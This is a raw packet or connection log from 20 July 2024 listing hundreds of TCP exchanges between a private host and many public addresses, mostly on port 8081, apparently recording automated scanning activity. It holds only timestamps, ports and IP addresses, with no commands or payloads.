Jul 20, 2024 23:01:01.227094889 CEST	50565	8081	192.168.2.13	73.101.157.230
Jul 20, 2024 23:01:01.227094889 CEST	50565	8081	192.168.2.13	36.191.147.7
Jul 20, 2024 23:01:01.227147102 CEST	50565	8081	192.168.2.13	222.101.254.103
Jul 20, 2024 23:01:01.227147102 CEST	50565	8081	192.168.2.13	210.143.115.195
Jul 20, 2024 23:01:01.227147102 CEST	50565	8081	192.168.2.13	27.248.174.163
Jul 20, 2024 23:01:01.227147102 CEST	50565	8081	192.168.2.13	148.181.188.151
Jul 20, 2024 23:01:01.227147102 CEST	50565	8081	192.168.2.13	150.166.137.115
Jul 20, 2024 23:01:01.227147102 CEST	50565	8081	192.168.2.13	116.67.193.163
Jul 20, 2024 23:01:01.227147102 CEST	50565	8081	192.168.2.13	151.179.107.248
Jul 20, 2024 23:01:01.227147102 CEST	50565	8081	192.168.2.13	124.232.16.22
Jul 20, 2024 23:01:01.227298021 CEST	52869	47268	199.255.47.208	192.168.2.13
Jul 20, 2024 23:01:01.227305889 CEST	50565	8081	192.168.2.13	143.167.219.186
Jul 20, 2024 23:01:01.227305889 CEST	50565	8081	192.168.2.13	20.109.6.183
Jul 20, 2024 23:01:01.227305889 CEST	54014	37215	192.168.2.13	157.18.137.5
Jul 20, 2024 23:01:01.227305889 CEST	50565	8081	192.168.2.13	177.214.155.107
Jul 20, 2024 23:01:01.227305889 CEST	50565	8081	192.168.2.13	57.249.4.172
Jul 20, 2024 23:01:01.227305889 CEST	50565	8081	192.168.2.13	170.82.1.194
Jul 20, 2024 23:01:01.227305889 CEST	50565	8081	192.168.2.13	192.137.9.249
Jul 20, 2024 23:01:01.227305889 CEST	50565	8081	192.168.2.13	170.184.4.182
Jul 20, 2024 23:01:01.227317095 CEST	37215	33622	41.215.54.255	192.168.2.13
Jul 20, 2024 23:01:01.227592945 CEST	50565	8081	192.168.2.13	186.85.239.105
Jul 20, 2024 23:01:01.227592945 CEST	50565	8081	192.168.2.13	150.141.138.30
Jul 20, 2024 23:01:01.227592945 CEST	50565	8081	192.168.2.13	168.85.11.175
Jul 20, 2024 23:01:01.227592945 CEST	50565	8081	192.168.2.13	190.182.122.122
Jul 20, 2024 23:01:01.227592945 CEST	50565	8081	192.168.2.13	52.239.149.9
Jul 20, 2024 23:01:01.227592945 CEST	50565	8081	192.168.2.13	102.95.147.39
Jul 20, 2024 23:01:01.227592945 CEST	50565	8081	192.168.2.13	220.252.177.128
Jul 20, 2024 23:01:01.228768110 CEST	50565	8081	192.168.2.13	116.187.8.48
Jul 20, 2024 23:01:01.228768110 CEST	50565	8081	192.168.2.13	31.246.225.37
Jul 20, 2024 23:01:01.228768110 CEST	50565	8081	192.168.2.13	203.185.148.199
Jul 20, 2024 23:01:01.228768110 CEST	50565	8081	192.168.2.13	175.198.119.246
Jul 20, 2024 23:01:01.228768110 CEST	50565	8081	192.168.2.13	191.57.231.39
Jul 20, 2024 23:01:01.228768110 CEST	50565	8081	192.168.2.13	134.18.5.192
Jul 20, 2024 23:01:01.228769064 CEST	50565	8081	192.168.2.13	164.31.91.12
Jul 20, 2024 23:01:01.229290009 CEST	8081	40116	221.122.108.67	192.168.2.13
Jul 20, 2024 23:01:01.229502916 CEST	50565	8081	192.168.2.13	20.230.117.51
Jul 20, 2024 23:01:01.229502916 CEST	50565	8081	192.168.2.13	181.146.118.229
Jul 20, 2024 23:01:01.229502916 CEST	50565	8081	192.168.2.13	160.146.169.241
Jul 20, 2024 23:01:01.229502916 CEST	50565	8081	192.168.2.13	170.21.79.210
Jul 20, 2024 23:01:01.229502916 CEST	50565	8081	192.168.2.13	110.160.230.69
Jul 20, 2024 23:01:01.229502916 CEST	50565	8081	192.168.2.13	188.72.177.130
Jul 20, 2024 23:01:01.229502916 CEST	50565	8081	192.168.2.13	34.170.245.115
Jul 20, 2024 23:01:01.229502916 CEST	50565	8081	192.168.2.13	180.54.91.229
Jul 20, 2024 23:01:01.229815960 CEST	50565	8081	192.168.2.13	203.173.136.221
Jul 20, 2024 23:01:01.229815960 CEST	50565	8081	192.168.2.13	172.158.39.105
Jul 20, 2024 23:01:01.229815960 CEST	50565	8081	192.168.2.13	66.217.133.127
Jul 20, 2024 23:01:01.229815960 CEST	50565	8081	192.168.2.13	100.137.187.236
Jul 20, 2024 23:01:01.229815960 CEST	50565	8081	192.168.2.13	151.252.70.220
Jul 20, 2024 23:01:01.229816914 CEST	50565	8081	192.168.2.13	44.168.123.7
Jul 20, 2024 23:01:01.229816914 CEST	50565	8081	192.168.2.13	40.171.69.57
Jul 20, 2024 23:01:01.229816914 CEST	50565	8081	192.168.2.13	20.246.63.49
Jul 20, 2024 23:01:01.230066061 CEST	50565	8081	192.168.2.13	189.88.10.76
Jul 20, 2024 23:01:01.230067015 CEST	45790	52869	192.168.2.13	18.101.167.39
Jul 20, 2024 23:01:01.230067015 CEST	50565	8081	192.168.2.13	192.102.32.163
Jul 20, 2024 23:01:01.230067015 CEST	50565	8081	192.168.2.13	209.52.246.3
Jul 20, 2024 23:01:01.230067015 CEST	50565	8081	192.168.2.13	44.184.68.7
Jul 20, 2024 23:01:01.230067015 CEST	50565	8081	192.168.2.13	167.43.105.35
Jul 20, 2024 23:01:01.233741999 CEST	50565	8081	192.168.2.13	168.56.161.79
Jul 20, 2024 23:01:01.233741999 CEST	50565	8081	192.168.2.13	204.132.134.213
Jul 20, 2024 23:01:01.233741999 CEST	50565	8081	192.168.2.13	95.179.105.243
Jul 20, 2024 23:01:01.233741999 CEST	50565	8081	192.168.2.13	104.71.151.219
Jul 20, 2024 23:01:01.233741999 CEST	50565	8081	192.168.2.13	209.128.38.196
Jul 20, 2024 23:01:01.233741999 CEST	50565	8081	192.168.2.13	4.72.101.245
Jul 20, 2024 23:01:01.234011889 CEST	50565	8081	192.168.2.13	121.142.88.80
Jul 20, 2024 23:01:01.234011889 CEST	50565	8081	192.168.2.13	132.175.173.131
Jul 20, 2024 23:01:01.234011889 CEST	50565	8081	192.168.2.13	54.60.191.144
Jul 20, 2024 23:01:01.234011889 CEST	50565	8081	192.168.2.13	52.61.201.7
Jul 20, 2024 23:01:01.234011889 CEST	50565	8081	192.168.2.13	50.114.233.98
Jul 20, 2024 23:01:01.234011889 CEST	50565	8081	192.168.2.13	27.117.134.63
Jul 20, 2024 23:01:01.234011889 CEST	50565	8081	192.168.2.13	89.214.113.239
Jul 20, 2024 23:01:01.234011889 CEST	50565	8081	192.168.2.13	91.28.60.153
Jul 20, 2024 23:01:01.234205008 CEST	80	52352	88.148.160.40	192.168.2.13
Jul 20, 2024 23:01:01.234522104 CEST	50565	8081	192.168.2.13	31.142.165.204
Jul 20, 2024 23:01:01.234522104 CEST	50565	8081	192.168.2.13	203.196.151.37
Jul 20, 2024 23:01:01.234522104 CEST	50565	8081	192.168.2.13	96.165.184.212
Jul 20, 2024 23:01:01.234522104 CEST	50565	8081	192.168.2.13	86.38.220.4
Jul 20, 2024 23:01:01.234522104 CEST	50565	8081	192.168.2.13	25.47.242.245
Jul 20, 2024 23:01:01.234522104 CEST	50565	8081	192.168.2.13	119.145.143.16
Jul 20, 2024 23:01:01.234522104 CEST	50565	8081	192.168.2.13	23.188.237.80
Jul 20, 2024 23:01:01.234522104 CEST	50565	8081	192.168.2.13	61.57.65.153
Jul 20, 2024 23:01:01.234783888 CEST	52869	46912	68.30.100.71	192.168.2.13
Jul 20, 2024 23:01:01.234813929 CEST	50565	8081	192.168.2.13	58.56.204.255
Jul 20, 2024 23:01:01.234813929 CEST	50565	8081	192.168.2.13	181.7.229.17
Jul 20, 2024 23:01:01.234813929 CEST	50565	8081	192.168.2.13	40.126.196.178
Jul 20, 2024 23:01:01.234813929 CEST	50565	8081	192.168.2.13	80.116.213.159
Jul 20, 2024 23:01:01.234813929 CEST	50565	8081	192.168.2.13	51.97.182.170
Jul 20, 2024 23:01:01.234813929 CEST	50565	8081	192.168.2.13	178.225.61.43
Jul 20, 2024 23:01:01.234813929 CEST	47268	52869	192.168.2.13	199.255.47.208
Jul 20, 2024 23:01:01.234813929 CEST	50565	8081	192.168.2.13	117.178.213.222
Jul 20, 2024 23:01:01.234927893 CEST	8081	50565	65.215.225.245	192.168.2.13
Jul 20, 2024 23:01:01.235079050 CEST	8081	50565	66.150.19.60	192.168.2.13
Jul 20, 2024 23:01:01.235083103 CEST	50565	8081	192.168.2.13	181.111.153.238
Jul 20, 2024 23:01:01.235083103 CEST	50565	8081	192.168.2.13	181.222.62.173
Jul 20, 2024 23:01:01.235083103 CEST	50565	8081	192.168.2.13	48.209.204.98
Jul 20, 2024 23:01:01.235083103 CEST	50565	8081	192.168.2.13	205.133.211.197
Jul 20, 2024 23:01:01.235083103 CEST	50565	8081	192.168.2.13	44.132.113.103
Jul 20, 2024 23:01:01.235083103 CEST	50565	8081	192.168.2.13	150.212.113.182
Jul 20, 2024 23:01:01.235083103 CEST	50565	8081	192.168.2.13	64.180.15.228
Jul 20, 2024 23:01:01.235083103 CEST	50565	8081	192.168.2.13	223.38.134.33
Jul 20, 2024 23:01:01.235089064 CEST	8081	50565	156.244.254.42	192.168.2.13
Jul 20, 2024 23:01:01.235097885 CEST	8081	50565	57.121.52.13	192.168.2.13
Jul 20, 2024 23:01:01.235106945 CEST	8081	50565	143.27.18.176	192.168.2.13
Jul 20, 2024 23:01:01.235116005 CEST	8081	50565	222.101.254.103	192.168.2.13
Jul 20, 2024 23:01:01.235124111 CEST	8081	50565	143.167.219.186	192.168.2.13
Jul 20, 2024 23:01:01.235279083 CEST	50565	8081	192.168.2.13	213.55.150.180
Jul 20, 2024 23:01:01.235279083 CEST	50565	8081	192.168.2.13	216.126.74.151
Jul 20, 2024 23:01:01.235279083 CEST	50565	8081	192.168.2.13	122.177.16.39
Jul 20, 2024 23:01:01.235279083 CEST	50565	8081	192.168.2.13	107.222.61.183
Jul 20, 2024 23:01:01.235279083 CEST	33622	37215	192.168.2.13	41.215.54.255
Jul 20, 2024 23:01:01.235279083 CEST	50565	8081	192.168.2.13	209.65.155.95
Jul 20, 2024 23:01:01.235279083 CEST	50565	8081	192.168.2.13	169.9.129.90
Jul 20, 2024 23:01:01.235279083 CEST	50565	8081	192.168.2.13	5.183.89.233
Jul 20, 2024 23:01:01.235527992 CEST	8081	50565	108.214.73.8	192.168.2.13
Jul 20, 2024 23:01:01.235537052 CEST	8081	50565	210.143.115.195	192.168.2.13
Jul 20, 2024 23:01:01.236073971 CEST	8081	50565	186.85.239.105	192.168.2.13
Jul 20, 2024 23:01:01.237217903 CEST	8081	50565	145.13.120.181	192.168.2.13
Jul 20, 2024 23:01:01.237770081 CEST	8081	50565	27.248.174.163	192.168.2.13
Jul 20, 2024 23:01:01.237780094 CEST	8081	50565	20.109.6.183	192.168.2.13
Jul 20, 2024 23:01:01.238225937 CEST	8081	50565	149.77.75.175	192.168.2.13
Jul 20, 2024 23:01:01.238234997 CEST	8081	50565	52.150.223.138	192.168.2.13
Jul 20, 2024 23:01:01.238244057 CEST	8081	50565	2.40.205.178	192.168.2.13
Jul 20, 2024 23:01:01.238879919 CEST	8081	50565	148.181.188.151	192.168.2.13
Jul 20, 2024 23:01:01.239197969 CEST	8081	50565	150.141.138.30	192.168.2.13
Jul 20, 2024 23:01:01.239392042 CEST	8081	50565	116.187.8.48	192.168.2.13
Jul 20, 2024 23:01:01.239399910 CEST	8081	50565	197.184.135.134	192.168.2.13
Jul 20, 2024 23:01:01.239408970 CEST	8081	50565	168.85.11.175	192.168.2.13
Jul 20, 2024 23:01:01.239418030 CEST	8081	50565	178.207.121.247	192.168.2.13
Jul 20, 2024 23:01:01.239428043 CEST	8081	50565	177.214.155.107	192.168.2.13
Jul 20, 2024 23:01:01.239437103 CEST	8081	50565	189.88.10.76	192.168.2.13
Jul 20, 2024 23:01:01.239445925 CEST	8081	50565	150.166.137.115	192.168.2.13
Jul 20, 2024 23:01:01.239454031 CEST	8081	50565	197.0.192.50	192.168.2.13
Jul 20, 2024 23:01:01.239463091 CEST	8081	50565	20.230.117.51	192.168.2.13
Jul 20, 2024 23:01:01.239470959 CEST	8081	50565	104.126.200.32	192.168.2.13
Jul 20, 2024 23:01:01.239480019 CEST	8081	50565	181.146.118.229	192.168.2.13
Jul 20, 2024 23:01:01.239487886 CEST	8081	50565	190.182.122.122	192.168.2.13
Jul 20, 2024 23:01:01.239495993 CEST	8081	50565	116.67.193.163	192.168.2.13
Jul 20, 2024 23:01:01.239505053 CEST	8081	50565	57.249.4.172	192.168.2.13
Jul 20, 2024 23:01:01.239514112 CEST	8081	50565	160.146.169.241	192.168.2.13
Jul 20, 2024 23:01:01.239522934 CEST	8081	50565	170.82.1.194	192.168.2.13
Jul 20, 2024 23:01:01.239531040 CEST	8081	50565	192.102.32.163	192.168.2.13
Jul 20, 2024 23:01:01.239538908 CEST	8081	50565	156.127.68.248	192.168.2.13
Jul 20, 2024 23:01:01.239542007 CEST	50565	8081	192.168.2.13	99.2.213.110
Jul 20, 2024 23:01:01.239542007 CEST	50565	8081	192.168.2.13	53.237.178.131
Jul 20, 2024 23:01:01.239542007 CEST	50565	8081	192.168.2.13	126.193.97.162
Jul 20, 2024 23:01:01.239542007 CEST	50565	8081	192.168.2.13	213.17.168.199
Jul 20, 2024 23:01:01.239542961 CEST	50565	8081	192.168.2.13	18.47.221.180
Jul 20, 2024 23:01:01.239542961 CEST	50565	8081	192.168.2.13	148.113.69.3
Jul 20, 2024 23:01:01.239542961 CEST	50565	8081	192.168.2.13	31.174.218.56
Jul 20, 2024 23:01:01.239542961 CEST	50565	8081	192.168.2.13	166.147.85.201
Jul 20, 2024 23:01:01.239845037 CEST	8081	50565	31.246.225.37	192.168.2.13
Jul 20, 2024 23:01:01.239854097 CEST	8081	50565	170.21.79.210	192.168.2.13
Jul 20, 2024 23:01:01.239861965 CEST	8081	50565	71.148.68.212	192.168.2.13
Jul 20, 2024 23:01:01.239939928 CEST	50565	8081	192.168.2.13	165.155.42.174
Jul 20, 2024 23:01:01.239939928 CEST	50565	8081	192.168.2.13	107.162.193.158
Jul 20, 2024 23:01:01.239939928 CEST	50565	8081	192.168.2.13	95.194.253.159
Jul 20, 2024 23:01:01.239939928 CEST	50565	8081	192.168.2.13	219.103.191.52
Jul 20, 2024 23:01:01.239939928 CEST	50565	8081	192.168.2.13	186.85.110.222
Jul 20, 2024 23:01:01.239939928 CEST	50565	8081	192.168.2.13	187.4.28.21
Jul 20, 2024 23:01:01.239939928 CEST	50565	8081	192.168.2.13	80.12.31.118
Jul 20, 2024 23:01:01.239939928 CEST	50565	8081	192.168.2.13	75.140.52.40
Jul 20, 2024 23:01:01.240040064 CEST	8081	50565	110.160.230.69	192.168.2.13
Jul 20, 2024 23:01:01.240048885 CEST	8081	50565	52.239.149.9	192.168.2.13
Jul 20, 2024 23:01:01.240057945 CEST	8081	50565	209.52.246.3	192.168.2.13
Jul 20, 2024 23:01:01.240066051 CEST	8081	50565	192.137.9.249	192.168.2.13
Jul 20, 2024 23:01:01.240586996 CEST	50565	8081	192.168.2.13	65.215.225.245
Jul 20, 2024 23:01:01.240586996 CEST	50565	8081	192.168.2.13	143.27.18.176
Jul 20, 2024 23:01:01.240586996 CEST	50565	8081	192.168.2.13	143.167.219.186
Jul 20, 2024 23:01:01.240586996 CEST	50565	8081	192.168.2.13	20.109.6.183
Jul 20, 2024 23:01:01.240586996 CEST	50565	8081	192.168.2.13	177.214.155.107
Jul 20, 2024 23:01:01.240586996 CEST	50565	8081	192.168.2.13	57.249.4.172
Jul 20, 2024 23:01:01.240586996 CEST	50565	8081	192.168.2.13	170.82.1.194
Jul 20, 2024 23:01:01.240586996 CEST	50565	8081	192.168.2.13	192.137.9.249
Jul 20, 2024 23:01:01.240596056 CEST	8081	50565	203.185.148.199	192.168.2.13
Jul 20, 2024 23:01:01.241099119 CEST	50565	8081	192.168.2.13	88.245.115.203
Jul 20, 2024 23:01:01.241099119 CEST	50565	8081	192.168.2.13	216.92.208.128
Jul 20, 2024 23:01:01.241099119 CEST	50565	8081	192.168.2.13	82.251.120.96
Jul 20, 2024 23:01:01.241099119 CEST	50565	8081	192.168.2.13	57.140.92.64
Jul 20, 2024 23:01:01.241099119 CEST	50565	8081	192.168.2.13	61.6.149.1
Jul 20, 2024 23:01:01.241099119 CEST	50565	8081	192.168.2.13	178.207.121.247
Jul 20, 2024 23:01:01.241099119 CEST	50565	8081	192.168.2.13	189.88.10.76
Jul 20, 2024 23:01:01.241216898 CEST	50565	8081	192.168.2.13	70.154.3.254
Jul 20, 2024 23:01:01.241216898 CEST	50565	8081	192.168.2.13	98.62.5.216
Jul 20, 2024 23:01:01.241216898 CEST	50565	8081	192.168.2.13	58.103.193.255
Jul 20, 2024 23:01:01.241216898 CEST	50565	8081	192.168.2.13	124.249.151.188
Jul 20, 2024 23:01:01.241216898 CEST	50565	8081	192.168.2.13	8.37.86.78
Jul 20, 2024 23:01:01.241216898 CEST	50565	8081	192.168.2.13	196.91.191.64
Jul 20, 2024 23:01:01.241216898 CEST	50565	8081	192.168.2.13	149.198.230.251
Jul 20, 2024 23:01:01.241216898 CEST	50565	8081	192.168.2.13	62.143.145.245
Jul 20, 2024 23:01:01.241955996 CEST	50565	8081	192.168.2.13	189.110.241.99
Jul 20, 2024 23:01:01.241955996 CEST	50565	8081	192.168.2.13	59.139.14.249
Jul 20, 2024 23:01:01.241955996 CEST	50565	8081	192.168.2.13	153.83.170.131
Jul 20, 2024 23:01:01.241955996 CEST	50565	8081	192.168.2.13	79.38.82.11
Jul 20, 2024 23:01:01.241955996 CEST	50565	8081	192.168.2.13	179.92.19.158
Jul 20, 2024 23:01:01.241955996 CEST	50565	8081	192.168.2.13	223.34.104.25
Jul 20, 2024 23:01:01.241955996 CEST	50565	8081	192.168.2.13	169.231.114.77
Jul 20, 2024 23:01:01.241955996 CEST	50565	8081	192.168.2.13	199.207.110.251
Jul 20, 2024 23:01:01.244317055 CEST	50565	8081	192.168.2.13	192.102.32.163
Jul 20, 2024 23:01:01.244317055 CEST	50565	8081	192.168.2.13	209.52.246.3
Jul 20, 2024 23:01:01.245222092 CEST	50565	8081	192.168.2.13	133.49.100.149
Jul 20, 2024 23:01:01.245222092 CEST	50565	8081	192.168.2.13	156.244.254.42
Jul 20, 2024 23:01:01.245223045 CEST	50565	8081	192.168.2.13	222.101.254.103
Jul 20, 2024 23:01:01.245223045 CEST	50565	8081	192.168.2.13	210.143.115.195
Jul 20, 2024 23:01:01.245223045 CEST	50565	8081	192.168.2.13	27.248.174.163
Jul 20, 2024 23:01:01.245223045 CEST	50565	8081	192.168.2.13	148.181.188.151
Jul 20, 2024 23:01:01.245223045 CEST	50565	8081	192.168.2.13	150.166.137.115
Jul 20, 2024 23:01:01.245223045 CEST	50565	8081	192.168.2.13	116.67.193.163
Jul 20, 2024 23:01:01.245471954 CEST	8081	50565	73.101.157.230	192.168.2.13
Jul 20, 2024 23:01:01.245490074 CEST	8081	50565	188.72.177.130	192.168.2.13
Jul 20, 2024 23:01:01.245500088 CEST	8081	50565	175.198.119.246	192.168.2.13
Jul 20, 2024 23:01:01.246166945 CEST	40116	8081	192.168.2.13	221.122.108.67
Jul 20, 2024 23:01:01.246166945 CEST	52352	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:01:01.246166945 CEST	50565	8081	192.168.2.13	66.150.19.60
Jul 20, 2024 23:01:01.246166945 CEST	50565	8081	192.168.2.13	145.13.120.181
Jul 20, 2024 23:01:01.246166945 CEST	50565	8081	192.168.2.13	197.184.135.134
Jul 20, 2024 23:01:01.246166945 CEST	50565	8081	192.168.2.13	20.230.117.51
Jul 20, 2024 23:01:01.246166945 CEST	50565	8081	192.168.2.13	181.146.118.229
Jul 20, 2024 23:01:01.246166945 CEST	50565	8081	192.168.2.13	160.146.169.241
Jul 20, 2024 23:01:01.246458054 CEST	50565	8081	192.168.2.13	104.0.91.20
Jul 20, 2024 23:01:01.246458054 CEST	50565	8081	192.168.2.13	86.251.201.159
Jul 20, 2024 23:01:01.246458054 CEST	50565	8081	192.168.2.13	129.241.181.92
Jul 20, 2024 23:01:01.246458054 CEST	50565	8081	192.168.2.13	116.74.250.114
Jul 20, 2024 23:01:01.246458054 CEST	50565	8081	192.168.2.13	57.121.52.13
Jul 20, 2024 23:01:01.246640921 CEST	8081	50565	170.184.4.182	192.168.2.13
Jul 20, 2024 23:01:01.246649981 CEST	8081	50565	102.95.147.39	192.168.2.13
Jul 20, 2024 23:01:01.246659040 CEST	8081	50565	36.191.147.7	192.168.2.13
Jul 20, 2024 23:01:01.246668100 CEST	8081	50565	34.170.245.115	192.168.2.13
Jul 20, 2024 23:01:01.246675968 CEST	8081	50565	191.57.231.39	192.168.2.13
Jul 20, 2024 23:01:01.246676922 CEST	50565	8081	192.168.2.13	170.184.4.182
Jul 20, 2024 23:01:01.246685982 CEST	8081	50565	220.252.177.128	192.168.2.13
Jul 20, 2024 23:01:01.246695042 CEST	8081	50565	44.184.68.7	192.168.2.13
Jul 20, 2024 23:01:01.246704102 CEST	8081	50565	151.179.107.248	192.168.2.13
Jul 20, 2024 23:01:01.246711969 CEST	8081	50565	167.43.105.35	192.168.2.13
Jul 20, 2024 23:01:01.246720076 CEST	8081	50565	31.142.165.204	192.168.2.13
Jul 20, 2024 23:01:01.246721983 CEST	50565	8081	192.168.2.13	44.184.68.7
Jul 20, 2024 23:01:01.246728897 CEST	8081	50565	180.54.91.229	192.168.2.13
Jul 20, 2024 23:01:01.246737957 CEST	8081	50565	124.232.16.22	192.168.2.13
Jul 20, 2024 23:01:01.246746063 CEST	8081	50565	58.56.204.255	192.168.2.13
Jul 20, 2024 23:01:01.246753931 CEST	8081	50565	213.55.150.180	192.168.2.13
Jul 20, 2024 23:01:01.246763945 CEST	8081	50565	181.7.229.17	192.168.2.13
Jul 20, 2024 23:01:01.246772051 CEST	8081	50565	203.196.151.37	192.168.2.13
Jul 20, 2024 23:01:01.246781111 CEST	8081	50565	40.126.196.178	192.168.2.13
Jul 20, 2024 23:01:01.246788979 CEST	8081	50565	96.165.184.212	192.168.2.13
Jul 20, 2024 23:01:01.246797085 CEST	8081	50565	216.126.74.151	192.168.2.13
Jul 20, 2024 23:01:01.246807098 CEST	8081	50565	80.116.213.159	192.168.2.13
Jul 20, 2024 23:01:01.247788906 CEST	8081	50565	122.177.16.39	192.168.2.13
Jul 20, 2024 23:01:01.247797966 CEST	8081	50565	168.56.161.79	192.168.2.13
Jul 20, 2024 23:01:01.247807026 CEST	8081	50565	86.38.220.4	192.168.2.13
Jul 20, 2024 23:01:01.247816086 CEST	8081	50565	121.142.88.80	192.168.2.13
Jul 20, 2024 23:01:01.247819901 CEST	50565	8081	192.168.2.13	168.56.161.79
Jul 20, 2024 23:01:01.247824907 CEST	8081	50565	203.173.136.221	192.168.2.13
Jul 20, 2024 23:01:01.247833014 CEST	8081	50565	107.222.61.183	192.168.2.13
Jul 20, 2024 23:01:01.247842073 CEST	8081	50565	51.97.182.170	192.168.2.13
Jul 20, 2024 23:01:01.248178959 CEST	8081	50565	25.47.242.245	192.168.2.13
Jul 20, 2024 23:01:01.248188972 CEST	8081	50565	132.175.173.131	192.168.2.13
Jul 20, 2024 23:01:01.248198032 CEST	8081	50565	134.18.5.192	192.168.2.13
Jul 20, 2024 23:01:01.248207092 CEST	8081	50565	181.111.153.238	192.168.2.13
Jul 20, 2024 23:01:01.248215914 CEST	8081	50565	209.65.155.95	192.168.2.13
Jul 20, 2024 23:01:01.248224020 CEST	8081	50565	204.132.134.213	192.168.2.13
Jul 20, 2024 23:01:01.248229027 CEST	8081	50565	178.225.61.43	192.168.2.13
Jul 20, 2024 23:01:01.248238087 CEST	8081	50565	54.60.191.144	192.168.2.13
Jul 20, 2024 23:01:01.248253107 CEST	8081	50565	181.222.62.173	192.168.2.13
Jul 20, 2024 23:01:01.248262882 CEST	8081	50565	169.9.129.90	192.168.2.13
Jul 20, 2024 23:01:01.248267889 CEST	50565	8081	192.168.2.13	204.132.134.213
Jul 20, 2024 23:01:01.248270988 CEST	8081	50565	172.158.39.105	192.168.2.13
Jul 20, 2024 23:01:01.248280048 CEST	8081	50565	95.179.105.243	192.168.2.13
Jul 20, 2024 23:01:01.248287916 CEST	8081	50565	66.217.133.127	192.168.2.13
Jul 20, 2024 23:01:01.248296976 CEST	8081	50565	119.145.143.16	192.168.2.13
Jul 20, 2024 23:01:01.248306036 CEST	8081	50565	100.137.187.236	192.168.2.13
Jul 20, 2024 23:01:01.248315096 CEST	8081	50565	104.71.151.219	192.168.2.13
Jul 20, 2024 23:01:01.248341084 CEST	50565	8081	192.168.2.13	167.43.105.35
Jul 20, 2024 23:01:01.248341084 CEST	50565	8081	192.168.2.13	58.56.204.255
Jul 20, 2024 23:01:01.248341084 CEST	50565	8081	192.168.2.13	181.7.229.17
Jul 20, 2024 23:01:01.248341084 CEST	50565	8081	192.168.2.13	40.126.196.178
Jul 20, 2024 23:01:01.248341084 CEST	50565	8081	192.168.2.13	80.116.213.159
Jul 20, 2024 23:01:01.248341084 CEST	50565	8081	192.168.2.13	51.97.182.170
Jul 20, 2024 23:01:01.248341084 CEST	50565	8081	192.168.2.13	178.225.61.43
Jul 20, 2024 23:01:01.248420000 CEST	8081	50565	151.252.70.220	192.168.2.13
Jul 20, 2024 23:01:01.248429060 CEST	8081	50565	5.183.89.233	192.168.2.13
Jul 20, 2024 23:01:01.248437881 CEST	8081	50565	23.188.237.80	192.168.2.13
Jul 20, 2024 23:01:01.248564959 CEST	50565	8081	192.168.2.13	95.179.105.243
Jul 20, 2024 23:01:01.248564959 CEST	50565	8081	192.168.2.13	104.71.151.219
Jul 20, 2024 23:01:01.249015093 CEST	50565	8081	192.168.2.13	59.164.19.139
Jul 20, 2024 23:01:01.249015093 CEST	44020	37215	192.168.2.13	132.227.49.42
Jul 20, 2024 23:01:01.249015093 CEST	50565	8081	192.168.2.13	203.173.136.221
Jul 20, 2024 23:01:01.249015093 CEST	50565	8081	192.168.2.13	172.158.39.105
Jul 20, 2024 23:01:01.249015093 CEST	50565	8081	192.168.2.13	66.217.133.127
Jul 20, 2024 23:01:01.249016047 CEST	50565	8081	192.168.2.13	100.137.187.236
Jul 20, 2024 23:01:01.249016047 CEST	50565	8081	192.168.2.13	151.252.70.220
Jul 20, 2024 23:01:01.249517918 CEST	50565	8081	192.168.2.13	8.97.36.223
Jul 20, 2024 23:01:01.249517918 CEST	50565	8081	192.168.2.13	40.189.83.62
Jul 20, 2024 23:01:01.249517918 CEST	50565	8081	192.168.2.13	202.79.68.79
Jul 20, 2024 23:01:01.249517918 CEST	50565	8081	192.168.2.13	60.4.183.10
Jul 20, 2024 23:01:01.249517918 CEST	50565	8081	192.168.2.13	58.228.34.29
Jul 20, 2024 23:01:01.249517918 CEST	46912	52869	192.168.2.13	68.30.100.71
Jul 20, 2024 23:01:01.249517918 CEST	50565	8081	192.168.2.13	149.77.75.175
Jul 20, 2024 23:01:01.251302004 CEST	50565	8081	192.168.2.13	151.179.107.248
Jul 20, 2024 23:01:01.251302958 CEST	50565	8081	192.168.2.13	124.232.16.22
Jul 20, 2024 23:01:01.251302958 CEST	50565	8081	192.168.2.13	213.55.150.180
Jul 20, 2024 23:01:01.251302958 CEST	50565	8081	192.168.2.13	216.126.74.151
Jul 20, 2024 23:01:01.251302958 CEST	50565	8081	192.168.2.13	122.177.16.39
Jul 20, 2024 23:01:01.251302958 CEST	50565	8081	192.168.2.13	107.222.61.183
Jul 20, 2024 23:01:01.251302958 CEST	34312	8081	192.168.2.13	168.104.48.153
Jul 20, 2024 23:01:01.251302958 CEST	50565	8081	192.168.2.13	209.65.155.95
Jul 20, 2024 23:01:01.251882076 CEST	50565	8081	192.168.2.13	108.214.73.8
Jul 20, 2024 23:01:01.251882076 CEST	50565	8081	192.168.2.13	186.85.239.105
Jul 20, 2024 23:01:01.251882076 CEST	50565	8081	192.168.2.13	150.141.138.30
Jul 20, 2024 23:01:01.251882076 CEST	50565	8081	192.168.2.13	168.85.11.175
Jul 20, 2024 23:01:01.251882076 CEST	50565	8081	192.168.2.13	190.182.122.122
Jul 20, 2024 23:01:01.251882076 CEST	50565	8081	192.168.2.13	52.239.149.9
Jul 20, 2024 23:01:01.251882076 CEST	50565	8081	192.168.2.13	102.95.147.39
Jul 20, 2024 23:01:01.253160000 CEST	50565	8081	192.168.2.13	170.21.79.210
Jul 20, 2024 23:01:01.253160000 CEST	50565	8081	192.168.2.13	110.160.230.69
Jul 20, 2024 23:01:01.253160000 CEST	50565	8081	192.168.2.13	188.72.177.130
Jul 20, 2024 23:01:01.253160000 CEST	50565	8081	192.168.2.13	34.170.245.115
Jul 20, 2024 23:01:01.253160000 CEST	50565	8081	192.168.2.13	180.54.91.229
Jul 20, 2024 23:01:01.253160000 CEST	50565	8081	192.168.2.13	181.111.153.238
Jul 20, 2024 23:01:01.253160000 CEST	50565	8081	192.168.2.13	181.222.62.173
Jul 20, 2024 23:01:01.253160000 CEST	40374	37215	192.168.2.13	197.186.137.146
Jul 20, 2024 23:01:01.253202915 CEST	8081	50565	209.128.38.196	192.168.2.13
Jul 20, 2024 23:01:01.253211975 CEST	8081	50565	99.2.213.110	192.168.2.13
Jul 20, 2024 23:01:01.253220081 CEST	8081	50565	61.57.65.153	192.168.2.13
Jul 20, 2024 23:01:01.253228903 CEST	8081	50565	53.237.178.131	192.168.2.13
Jul 20, 2024 23:01:01.253232002 CEST	50565	8081	192.168.2.13	209.128.38.196
Jul 20, 2024 23:01:01.253237009 CEST	8081	50565	165.155.42.174	192.168.2.13
Jul 20, 2024 23:01:01.253246069 CEST	8081	50565	44.168.123.7	192.168.2.13
Jul 20, 2024 23:01:01.253253937 CEST	8081	50565	107.162.193.158	192.168.2.13
